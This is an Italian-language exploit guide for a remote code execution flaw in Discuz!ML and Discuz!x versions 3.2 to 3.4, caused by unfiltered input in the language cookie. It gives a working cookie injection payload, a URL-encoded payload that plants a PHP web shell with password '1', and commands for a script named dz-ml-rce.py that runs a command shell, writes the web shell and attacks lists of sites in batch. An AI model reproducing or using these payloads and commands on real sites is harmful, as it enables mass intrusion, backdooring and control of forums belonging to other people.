
Sistemi e versioni interessati: Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4
Sistemi e versioni interessati: Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4 Causa della vulnerabilità: il sistema Discuz!ML non filtra il contenuto del parametro language ricevuto da "l" nei cookie, causando una concatenazione di stringhe che consente l'esecuzione di codice PHP.
Nel campo cookie appare il campo xxxx_xxxx_language; la causa principale è che questo campo presenta un'iniezione, portando a RCE.
Intercetta i pacchetti, trova il valore di language nel cookie e modificalo in
xxxx_xxxx_language=sc'.phpinfo().'
getshell
%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27 In pratica:
'.+file_put_contents('shell.php',urldecode('')).'
In questo modo verrà generato shell.php nel percorso, con password di connessione 1.
============================================================================================================================================================== Verifica la presenza della vulnerabilità
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"
Modalità cmdshell
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell
Modalità getshell
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell
Rilevamento in batch
python dz-ml-rce.py -f urls.txt
Get shell in batch
python dz-ml-rce.py -f urls.txt --getshell